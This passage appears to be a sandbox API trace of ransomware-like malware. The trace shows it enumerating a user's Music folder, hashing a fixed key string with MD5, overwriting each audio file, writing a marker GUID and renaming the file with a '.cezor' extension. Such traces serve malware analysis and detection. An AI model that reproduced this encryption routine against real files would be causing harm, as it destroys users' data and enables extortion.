(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.227] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.227] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.227] PathFindFileNameW (pszPath="") returned="" [0060.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0060.227] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.227] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0060.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.227] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.227] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.227] PathFindFileNameW (pszPath="") returned="" [0060.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.227] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.228] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d22bcb0, ftCreationTime.dwHighDateTime=0x1d4c60c, ftLastAccessTime.dwLowDateTime=0x63b63d70, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x63b63d70, ftLastWriteTime.dwHighDateTime=0x1d4c6cd, nFileSizeHigh=0x0, nFileSizeLow=0x14e58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Utu5uTreh3_BFU.mp3", cAlternateFileName="-UTU5U~1.MP3")) returned 1 [0060.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Utu5uTreh3_BFU.mp3") returned=".mp3" [0060.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Utu5uTreh3_BFU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-utu5utreh3_bfu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.228] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=85592) returned 1 [0060.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.230] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.230] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.231] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x14e58, lpOverlapped=0x0) returned 1 [0060.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.232] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.232] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.232] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.232] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.232] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.232] GetLastError () returned 0x0 [0060.232] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.232] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.233] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14e58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.233] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.233] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.233] CloseHandle (hObject=0x5c4) returned 1 [0060.234] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Utu5uTreh3_BFU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-utu5utreh3_bfu.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Utu5uTreh3_BFU.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-utu5utreh3_bfu.mp3.cezor")) returned 1 [0060.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb85e50, ftCreationTime.dwHighDateTime=0x1d4d4e0, ftLastAccessTime.dwLowDateTime=0xf39d96a0, ftLastAccessTime.dwHighDateTime=0x1d4c60e, ftLastWriteTime.dwLowDateTime=0xf39d96a0, ftLastWriteTime.dwHighDateTime=0x1d4c60e, nFileSizeHigh=0x0, nFileSizeLow=0xffe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZgBE.wav", cAlternateFileName="")) returned 1 [0060.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.236] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZgBE.wav") returned=".wav" [0060.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZgBE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2zgbe.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.236] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65510) returned 1 [0060.236] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.238] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xffc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.238] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.239] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.239] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xffe6, lpOverlapped=0x0) returned 1 [0060.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.240] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.241] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.241] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.241] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.241] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.241] GetLastError () returned 0x0 [0060.241] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.241] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfff0) returned 0x3132418 [0060.241] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.241] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xffe1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xffe1, lpOverlapped=0x0) returned 1 [0060.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.241] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xffe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.242] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.242] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.242] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.242] CloseHandle (hObject=0x5c4) returned 1 [0060.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0060.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.243] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZgBE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2zgbe.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZgBE.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2zgbe.wav.cezor")) returned 1 [0060.244] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.244] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.245] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd14f1010, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xed0a5370, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0xed0a5370, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x5685, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3lDgGO6UTyrOsMHE.mp3", cAlternateFileName="3LDGGO~1.MP3")) returned 1 [0060.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.245] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3lDgGO6UTyrOsMHE.mp3") returned=".mp3" [0060.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3lDgGO6UTyrOsMHE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3ldggo6utyrosmhe.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.245] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=22149) returned 1 [0060.245] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.247] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x565f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.247] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.248] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.248] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5685, lpOverlapped=0x0) returned 1 [0060.248] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.248] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.248] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.248] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.248] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0060.249] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.249] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.249] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.249] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.249] GetLastError () returned 0x0 [0060.249] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.249] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0060.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5690) returned 0x31218d0 [0060.250] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.250] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x5680, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x5680, lpOverlapped=0x0) returned 1 [0060.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.250] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5685, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.250] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.250] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.250] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.250] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.250] CloseHandle (hObject=0x5c4) returned 1 [0060.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0060.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0060.251] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3lDgGO6UTyrOsMHE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3ldggo6utyrosmhe.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3lDgGO6UTyrOsMHE.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3ldggo6utyrosmhe.mp3.cezor")) returned 1 [0060.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.252] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.253] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42861c80, ftCreationTime.dwHighDateTime=0x1d4d030, ftLastAccessTime.dwLowDateTime=0x3982c970, ftLastAccessTime.dwHighDateTime=0x1d4d58b, ftLastWriteTime.dwLowDateTime=0x3982c970, ftLastWriteTime.dwHighDateTime=0x1d4d58b, nFileSizeHigh=0x0, nFileSizeLow=0x1466, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5V1FT5g1rxSJJ41de.m4a", cAlternateFileName="5V1FT5~1.M4A")) returned 1 [0060.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.253] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5V1FT5g1rxSJJ41de.m4a") returned=".m4a" [0060.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5V1FT5g1rxSJJ41de.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5v1ft5g1rxsjj41de.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.253] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=5222) returned 1 [0060.253] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.255] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.255] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.256] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.256] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1466, lpOverlapped=0x0) returned 1 [0060.256] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.256] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.256] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.256] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0060.257] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.257] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.257] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 